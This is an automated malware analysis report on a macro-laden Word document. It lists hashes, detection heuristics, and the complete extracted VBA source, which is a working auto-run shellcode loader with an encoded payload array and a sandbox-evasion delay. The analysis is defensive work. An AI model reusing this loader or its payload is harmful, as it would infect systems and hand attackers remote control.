Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 88cd7e50e0e79d3b…

MALICIOUS

Office (OLE) / .DOC

38.0 KB Created: 2026-03-18 11:01:00 Authoring application: Microsoft Office Word First seen: 2026-06-11
MD5: 12c573d4fbb12b6502c27927d84cc81c SHA-1: 8cd9d228d1ad38b7eea4626481d9a4a0cf4735f5 SHA-256: 88cd7e50e0e79d3bb64672e72c61bee207e3bdd62c7ad09467b42483e482787c
318 Risk Score

Heuristics 10

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
  • Raw OLE macro native-memory callback shellcode loader critical OLE_RAW_MACRO_NATIVE_MEMORY_CALLBACK_LOADER
    Raw OLE/VBA project text contains an auto-exec entry plus native memory allocation, process-memory write/copy, and callback/timer execution APIs. This catches source-stomped or partially recovered VBA loaders where the extracted macro source omits the auto-run entry, but the compiled/source project bytes still expose the in-memory shellcode loader triad.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5514 bytes
SHA-256: cda0485e83f67e0f142150669ef9526d6c23f716e0d0ddc42ee61ad491f20ed6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
    Dim t1 As Date
    Dim t2 As Date
    Dim time As Long
    
    t1 = Now()
    Sleep (2000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    
    If time < 2 Then
        Exit Function
    End If
    
    buf = Array(254, 74, 133, 230, 242, 234, 206, 2, 2, 2, 67, 83, 67, 82, 84, 74, 51, 212, 83, 88, 103, 74, 141, 84, 98, 74, 141, 84, 26, 74, 141, 84, 34, 74, 141, 116, 82, 74, 17, 185, 76, 76, 79, 51, 203, 74, 51, 194, 174, 62, _
99, 126, 4, 46, 34, 67, 195, 203, 15, 67, 3, 195, 228, 239, 84, 67, 83, 74, 141, 84, 34, 141, 68, 62, 74, 3, 210, 104, 131, 122, 26, 13, 4, 17, 135, 116, 2, 2, 2, 141, 130, 138, 2, 2, 2, 74, 135, 194, 118, 105, _
74, 3, 210, 141, 74, 26, 82, 70, 141, 66, 34, 75, 3, 210, 229, 88, 74, 1, 203, 67, 141, 54, 138, 79, 51, 203, 74, 3, 216, 74, 51, 194, 67, 195, 203, 15, 174, 67, 3, 195, 58, 226, 119, 243, 78, 5, 78, 38, 10, 71, _
59, 211, 119, 218, 90, 70, 141, 66, 38, 75, 3, 210, 104, 67, 141, 14, 74, 70, 141, 66, 30, 75, 3, 210, 67, 141, 6, 138, 67, 90, 67, 90, 74, 3, 210, 96, 91, 92, 67, 90, 67, 91, 67, 92, 74, 133, 238, 34, 67, 84, _
1, 226, 90, 67, 91, 92, 74, 141, 20, 235, 77, 1, 1, 1, 95, 74, 51, 221, 85, 75, 192, 121, 107, 112, 107, 112, 103, 118, 2, 67, 88, 74, 139, 227, 75, 201, 196, 78, 121, 40, 9, 1, 215, 85, 85, 234, 86, 2, 2, 2, _
79, 113, 124, 107, 110, 110, 99, 49, 55, 48, 50, 34, 42, 79, 99, 101, 107, 112, 118, 113, 117, 106, 61, 34, 75, 112, 118, 103, 110, 34, 79, 99, 101, 34, 81, 85, 34, 90, 34, 51, 54, 48, 57, 61, 34, 116, 120, 60, 51, 53, _
53, 48, 50, 43, 34, 73, 103, 101, 109, 113, 49, 52, 50, 51, 50, 50, 51, 50, 51, 34, 72, 107, 116, 103, 104, 113, 122, 49, 51, 53, 53, 48, 50, 2, 91, 85, 92, 79, 51, 194, 79, 51, 203, 85, 85, 75, 188, 60, 88, 123, _
169, 2, 2, 2, 2, 1, 215, 234, 17, 2, 2, 2, 51, 59, 52, 48, 51, 56, 58, 48, 54, 55, 48, 51, 56, 58, 2, 92, 74, 139, 195, 75, 201, 194, 189, 3, 2, 2, 79, 51, 203, 85, 85, 108, 5, 85, 75, 188, 89, 139, _
161, 200, 2, 2, 2, 2, 1, 215, 234, 222, 2, 2, 2, 49, 58, 83, 110, 84, 97, 120, 97, 90, 56, 85, 54, 54, 50, 70, 112, 85, 87, 89, 115, 56, 73, 105, 115, 68, 107, 58, 112, 81, 53, 85, 52, 102, 121, 76, 58, 109, _
116, 99, 69, 124, 70, 102, 104, 52, 109, 109, 88, 68, 108, 77, 109, 120, 86, 52, 77, 120, 99, 92, 104, 74, 101, 73, 80, 69, 88, 121, 47, 116, 116, 78, 91, 68, 90, 75, 115, 74, 68, 104, 73, 122, 91, 75, 102, 47, 55, 57, _
108, 53, 83, 101, 99, 91, 123, 59, 109, 89, 84, 116, 106, 57, 90, 110, 115, 109, 79, 113, 110, 119, 85, 85, 75, 73, 90, 51, 68, 108, 76, 86, 118, 113, 118, 72, 120, 111, 124, 123, 107, 80, 83, 75, 88, 91, 108, 55, 85, 87, _
80, 53, 87, 77, 121, 55, 86, 117, 86, 67, 84, 110, 117, 82, 56, 108, 58, 51, 112, 114, 115, 75, 50, 106, 100, 54, 92, 120, 51, 59, 121, 77, 76, 110, 107, 89, 105, 116, 86, 123, 80, 107, 81, 83, 72, 80, 88, 83, 103, 81, _
118, 71, 89, 119, 122, 59, 68, 78, 52, 47, 101, 101, 115, 120, 79, 104, 103, 83, 124, 91, 55, 121, 67, 103, 112, 119, 99, 69, 90, 87, 78, 88, 2, 74, 139, 195, 85, 92, 67, 90, 79, 51, 203, 85, 74, 186, 2, 52, 170, 134, _
2, 2, 2, 2, 82, 85, 85, 75, 201, 196, 237, 87, 48, 61, 1, 215, 74, 139, 200, 108, 12, 97, 74, 139, 243, 108, 33, 92, 84, 106, 130, 53, 2, 2, 75, 139, 226, 108, 6, 67, 91, 75, 188, 119, 72, 160, 136, 2, 2, 2, _
2, 1, 215, 79, 51, 194, 85, 92, 74, 139, 243, 79, 51, 203, 79, 51, 203, 85, 85, 75, 201, 196, 47, 8, 26, 125, 1, 215, 135, 194, 119, 33, 74, 201, 195, 138, 21, 2, 2, 75, 188, 70, 242, 55, 226, 2, 2, 2, 2, 1, _
215, 74, 1, 209, 118, 4, 237, 172, 234, 87, 2, 2, 2, 85, 91, 108, 66, 92, 75, 139, 211, 195, 228, 18, 75, 201, 194, 2, 18, 2, 2, 75, 188, 90, 166, 85, 231, 2, 2, 2, 2, 1, 215, 74, 149, 85, 85, 74, 139, 233, _
74, 139, 243, 74, 139, 220, 75, 201, 194, 2, 34, 2, 2, 75, 139, 251, 75, 188, 20, 152, 139, 228, 2, 2, 2, 2, 1, 215, 74, 133, 198, 34, 135, 194, 118, 180, 104, 141, 9, 74, 3, 197, 135, 194, 119, 212, 90, 197, 90, 108, _
2, 91, 75, 201, 196, 242, 183, 164, 88, 1, 215)

    For i = 0 To UBound(buf)
        buf(i) = buf(i) - 2
    Next i

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub